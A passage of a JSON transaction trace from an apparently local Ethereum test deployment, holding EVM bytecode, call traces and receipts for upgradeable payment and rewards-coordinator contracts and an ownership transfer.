5b6000600182016118c4576118c4611536565b5060010190565b600063ffffffff8083168181036118e4576118e4611536565b6001019392505050565b848152606060208201528260608201528284608083013760006080848301015260006080601f19601f860116830101905082604083015295945050505050565b60006020828403121561194057600080fd5b5051919050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b60005b838110156119ad578181015183820152602001611995565b50506000910152565b600082516119c8818460208701611992565b9190910192915050565b60208152600082518060208401526119f1816040850160208701611992565b601f01601f1916919091016040019291505056fe360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122003c5cae49592cb6d020c301aa98eb5db4d32c08a2c4bc5494d33ccaf394bdebe64736f6c63430008180033","gas_used":1382195,"gas_limit":1845023,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a69df4b51161006f578063a69df4b5146103c0578063a7d31809146103d5578063c0c53b8b146103f5578063c891091314610415578063f2fde38b1461046c578063f83d08ba1461048c57600080fd5b8063715018a61461034257806373e289d0146103575780638456cb591461036d5780638da5cb5b14610382578063953ef807146103a057600080fd5b80634d5431ea116100f25780634d5431ea146102865780634f1ef286146102bf57806352d1902d146102d257806358b96e27146102e75780635c975abb1461031f57600080fd5b806317d89c4e146101ad5780632df4e21e146101f95780632e1a7d4d1461022f5780633659cfe6146102515780633f4ba83a1461027157600080fd5b366101a85733600090815260fd60205260408120805434929061015290849061154c565b909155505033600081815260fd602052604080822060010191909155517f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be7709061019e9034815260200190565b60405180910390a2005b600080fd5b3480156101b957600080fd5b506101e66101c8366004611574565b6001600160a01b0316600090815260fd602052604090206002015490565b6040519081526020015b60405180910390f35b34801561020557600080fd5b506101e6610214366004611574565b6001600160a01b0316600090815260fd602052604090205490565b34801561023b57600080fd5b5061024f61024a366004611591565b6104a1565b005b34801561025d57600080fd5b5061024f61026c366004611574565b6105de565b34801561027d57600080fd5b5061024f6106bd565b34801561029257600080fd5b506101e66102a1366004611574565b6001600160a01b0316600090815260fd602052604090206001015490565b61024f6102cd3660046115c0565b6106cf565b3480156102de57600080fd5b506101e661079f565b3480156102f357600080fd5b5060fc54610307906001600160a01b031681565b6040516001600160a01b0390911681526020016101f0565b34801561032b57600080fd5b5060655460ff1660405190151581526020016101f0565b34801561034e57600080fd5b5061024f610852565b34801561036357600080fd5b506101e6610e1081565b34801561037957600080fd5b5061024f610864565b34801561038e57600080fd5b506033546001600160a01b0316610307565b3480156103ac57600080fd5b5060fb54610307906001600160a01b031681565b3480156103cc57600080fd5b5061024f610874565b3480156103e157600080fd5b5061024f6103f03660046116d0565b61090b565b34801561040157600080fd5b5061024f61041036600461178f565b610b9f565b34801561042157600080fd5b50610451610430366004611574565b60fd6020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016101f0565b34801561047857600080fd5b5061024f610487366004611574565b610de9565b34801561049857600080fd5b5061024f610e5f565b6104a9610ed5565b33600090815260fd6020526040902080548211156104ec5780546040516321c3d50f60e01b81526004810191909152602481018390526044015b60405180910390fd5b600181015415806105005750428160010154115b1561052d576001810154604051635f6e272d60e11b815260048101919091524260248201526044016104e3565b8181600001600082825461054191906117da565b909155505060006001820181905560405133917fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd91a2604051339083156108fc029084906000818181858888f193505050501580156105a4573d6000803e3d6000fd5b5060405182815233907feaff4b37086828766ad3268786972c0cd24259d4c87a80f9d3963a3c3d999b0d9060200160405180910390a25050565b6001600160a01b037f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c01630036106265760405162461bcd60e51b81526004016104e3906117ed565b7f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c06001600160a01b031661066f600080516020611a06833981519152546001600160a01b031690565b6001600160a01b0316146106955760405162461bcd60e51b81526004016104e390611839565b61069e81610f1b565b604080516000808252602082019092526106ba91839190610f23565b50565b6106c5611093565b6106cd6110ed565b565b6001600160a01b037f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c01630036107175760405162461bcd60e51b81526004016104e3906117ed565b7f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c06001600160a01b0316610760600080516020611a06833981519152546001600160a01b031690565b6001600160a01b0316146107865760405162461bcd60e51b81526004016104e390611839565b61078f82610f1b565b61079b82826001610f23565b5050565b6000306001600160a01b037f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c0161461083f5760405162461bcd60e51b815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c000000000000000060648201526084016104e3565b50600080516020611a0683398151915290565b61085a611093565b6106cd600061113f565b61086c611093565b6106cd611191565b61087c610ed5565b33600090815260fd602052604081205490036108ad5760405163b38340cf60e01b81523360048201526024016104e3565b6108b9610e104261154c565b33600081815260fd6020526040908190206001018390555190917f43e8fb9d4f009c90c55a3fa108b177b794704d61af7af6f6512db7883f8ed8439161090191815260200190565b60405180910390a2565b60fc546001600160a01b03163314610938576040516302a5785160e31b81523360048201526024016104e3565b610940610ed5565b83600081900361096357604051630c43ac2960e41b815260040160405180910390fd5b82600003610984576040516351d432c560e11b815260040160405180910390fd5b8361098f8285611885565b116109c1578361099f8285611885565b604051637899ec7160e01b8152600481019290925260248201526044016104e3565b60005b818163ffffffff161015610aa257600087878363ffffffff168181106109ec576109ec61189c565b9050602002016020810190610a019190611574565b6001600160a01b038116600090815260fd60205260409020805491925090861115610a5b578054604051634f779ceb60e01b81526001600160a01b03841660048201526024810191909152604481018790526064016104e3565b600281018054906000610a6d836118b2565b919050555085816000016000828254610a8691906117da565b9250508190555050508080610a9a906118cb565b9150506109c4565b5060fb5460405163d66eaabd60e01b81526001600160a01b039091169063d66eaabd908690610adb908d908d908d9089906004016118ee565b6000604051808303818588803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b5050505050887f4f9439a5aed9cb470d2e0756e7d293accfe5223e719a9a1a256646378ec4375884604051610b3f91815260200190565b60405180910390a260fc546001600160a01b03166108fc85610b618487611885565b610b6b91906117da565b6040518115909202916000818181858888f19350505050158015610b93573d6000803e3d6000fd5b50505050505050505050565b600054610100900460ff1615808015610bbf5750600054600160ff909116105b80610bd95750303b158015610bd9575060005460ff166001145b610c3c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016104e3565b6000805460ff191660011790558015610c5f576000805461ff0019166101001790555b6001600160a01b038416610cae57604051630b0f5aa160e11b815260206004820152601560248201527430b634b3b732b229b2b93b34b1b2a6b0b730b3b2b960591b60448201526064016104e3565b6001600160a01b038316610d0557604051630b0f5aa160e11b815260206004820152601a60248201527f626174636865725061796d656e74536572766963654f776e657200000000000060448201526064016104e3565b6001600160a01b038216610d4c57604051630b0f5aa160e11b815260206004820152600d60248201526c18985d18da195c95d85b1b195d609a1b60448201526064016104e3565b610d546111ce565b610d5c6111fd565b610d64611224565b610d6d8361113f565b60fb80546001600160a01b038087166001600160a01b03199283161790925560fc8054928516929091169190911790558015610de3576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b610df1611093565b6001600160a01b038116610e565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e3565b6106ba8161113f565b610e67610ed5565b33600090815260fd60205260408120549003610e985760405163366095e160e11b81523360048201526024016104e3565b33600081815260fd6020526040808220600101829055517fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd9190a2565b60655460ff16156106cd5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104e3565b6106ba611093565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff1615610f5b57610f5683611253565b505050565b826001600160a01b03166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610fb5575060408051601f3d908101601f19168201909252610fb29181019061192e565b60015b6110185760405162461bcd60e51b815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201526d6f6e206973206e6f74205555505360901b60648201526084016104e3565b600080516020611a0683398151915281146110875760405162461bcd60e51b815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f786044820152681a58589b195555525160ba1b60648201526084016104e3565b50610f568383836112ef565b6033546001600160a01b031633146106cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104e3565b6110f5611314565b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611199610ed5565b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586111223390565b600054610100900460ff166111f55760405162461bcd60e51b81526004016104e390611947565b6106cd61135d565b600054610100900460ff166106cd5760405162461bcd60e51b81526004016104e390611947565b600054610100900460ff1661124b5760405162461bcd60e51b81526004016104e390611947565b6106cd61138d565b6001600160a01b0381163b6112c05760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016104e3565b600080516020611a0683398151915280546001600160a01b0319166001600160a01b0392909216919091179055565b6112f8836113c0565b6000825111806113055750805b15610f5657610de38383611400565b60655460ff166106cd5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b60448201526064016104e3565b600054610100900460ff166113845760405162461bcd60e51b81526004016104e390611947565b6106cd3361113f565b600054610100900460ff166113b45760405162461bcd60e51b81526004016104e390611947565b6065805460ff19169055565b6113c981611253565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606001600160a01b0383163b6114685760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016104e3565b600080846001600160a01b03168460405161148391906119b6565b600060405180830381855af49150503d80600081146114be576040519150601f19603f3d011682016040523d82523d6000602084013e6114c3565b606091505b50915091506114eb8282604051806060016040528060278152602001611a26602791396114f6565b925050505b92915050565b6060831561150557508161152f565b8251156115155782518084602001fd5b8160405162461bcd60e51b81526004016104e391906119d2565b9392505050565b634e487b7160e01b600052601160045260246000fd5b808201808211156114f0576114f0611536565b6001600160a01b03811681146106ba57600080fd5b60006020828403121561158657600080fd5b813561152f8161155f565b6000602082840312156115a357600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156115d357600080fd5b82356115de8161155f565b9150602083013567ffffffffffffffff808211156115fb57600080fd5b818501915085601f83011261160f57600080fd5b813581811115611621576116216115aa565b604051601f8201601f19908116603f01168101908382118183101715611649576116496115aa565b8160405282815288602084870101111561166257600080fd5b8260208601602083013760006020848301015280955050505050509250929050565b60008083601f84011261169657600080fd5b50813567ffffffffffffffff8111156116ae57600080fd5b6020830191508360208260051b85010111156116c957600080fd5b9250929050565b60008060008060008060008060c0898b0312156116ec57600080fd5b88359750602089013567ffffffffffffffff8082111561170b57600080fd5b818b0191508b601f83011261171f57600080fd5b81358181111561172e57600080fd5b8c602082850101111561174057600080fd5b6020830199508098505060408b013591508082111561175e57600080fd5b5061176b8b828c01611684565b999c989b5096999698976060880135976080810135975060a0013595509350505050565b6000806000606084860312156117a457600080fd5b83356117af8161155f565b925060208401356117bf8161155f565b915060408401356117cf8161155f565b809150509250925092565b818103818111156114f0576114f0611536565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b19195b1959d85d1958d85b1b60a21b606082015260800190565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b6163746976652070726f787960a01b606082015260800190565b80820281158282048414176114f0576114f0611536565b634e487b7160e01b600052603260045260246000fd5b6000600182016118c4576118c4611536565b5060010190565b600063ffffffff8083168181036118e4576118e4611536565b6001019392505050565b848152606060208201528260608201528284608083013760006080848301015260006080601f19601f860116830101905082604083015295945050505050565b60006020828403121561194057600080fd5b5051919050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b60005b838110156119ad578181015183820152602001611995565b50506000910152565b600082516119c8818460208701611992565b9190910192915050565b60208152600082518060208401526119f1816040850160208701611992565b601f01601f1916919091016040019291505056fe360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122003c5cae49592cb6d020c301aa98eb5db4d32c08a2c4bc5494d33ccaf394bdebe64736f6c63430008180033","nonce":56,"gas_used":1544677},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x1791e5","logs":[{"address":"0x7969c5ed335650692bc04293b07f5bf2e7a673c0","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000001000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000"},"block_hash":"0x4a6468117515eeca9ef7152e6c17181a371259f3daf9e7aaf0003e5ca3d2f178","block_number":18},{"info":{"transaction_hash":"0xb64f4d13bee1d7bccb889b359e8cbbc06d5098199df13504e8d8f2b150adae89","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x851356ae760d987e095750cceb3bc6014560891c","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x851356ae760d987e095750cceb3bc6014560891c","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","output":"0x","gas_used":11740,"gas_limit":24386,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x851356ae760d987e095750cceb3bc6014560891c","address":"0x4c5859f0f772848b2d91f1d83e2fe57935348029","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","output":"0x","gas_used":4445,"gas_limit":16862,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x","nonce":52,"gas_used":33172},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8194","logs":[{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000000400000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000010000000000000000000000000000000000000000100000020000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x49f63408e3604ef81facaecb93e0343c9d51e5081a1ff0c7c0d20610b2121f7b","block_number":15},{"info":{"transaction_hash":"0x776076c028dc038e8cca81c0d5751ccfd43c9784435bcdd351396a7d71e48d0e","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x0b306bf915c4d645ff596e518faf3f9669b97016","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x0b306bf915c4d645ff596e518faf3f9669b97016","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x61018060405234801561001157600080fd5b50604051613dc9380380613dc9833981016040819052610030916102d0565b86868686868686610041858261035b565b63ffffffff16156100e55760405162461bcd60e51b815260206004820152606060248201527f52657761726473436f6f7264696e61746f723a2047454e455349535f5245574160448201527f5244535f54494d455354414d50206d7573742062652061206d756c7469706c6560648201527f206f662043414c43554c4154494f4e5f494e54455256414c5f5345434f4e4453608482015260a4015b60405180910390fd5b6100f2620151808661035b565b63ffffffff16156101915760405162461bcd60e51b815260206004820152605760248201527f52657761726473436f6f7264696e61746f723a2043414c43554c4154494f4e5f60448201527f494e54455256414c5f5345434f4e4453206d7573742062652061206d756c746960648201527f706c65206f6620534e415053484f545f434144454e4345000000000000000000608482015260a4016100dc565b6001600160a01b0396871661012052949095166101405263ffffffff92831660805290821660a052811660c05291821660e05216610100526101d16101e3565b50504661016052506103919350505050565b600054610100900460ff161561024b5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100dc565b60005460ff908116101561029d576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146102b457600080fd5b50565b805163ffffffff811681146102cb57600080fd5b919050565b600080600080600080600060e0888a0312156102eb57600080fd5b87516102f68161029f565b60208901519097506103078161029f565b9550610315604089016102b7565b9450610323606089016102b7565b9350610331608089016102b7565b925061033f60a089016102b7565b915061034d60c089016102b7565b905092959891949750929550565b600063ffffffff83168061037f57634e487b7160e01b600052601260045260246000fd5b8063ffffffff84160691505092915050565b60805160a05160c05160e051610100516101205161014051610160516139a2610427600039600061181f0152600081816104400152612295015260006106ec01526000818161035701526120c40152600081816102cb0152612170015260008181610419015261207301526000818161065e0152611dea01526000818161060401528181611ea10152611f7c01526139a26000f3fe608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e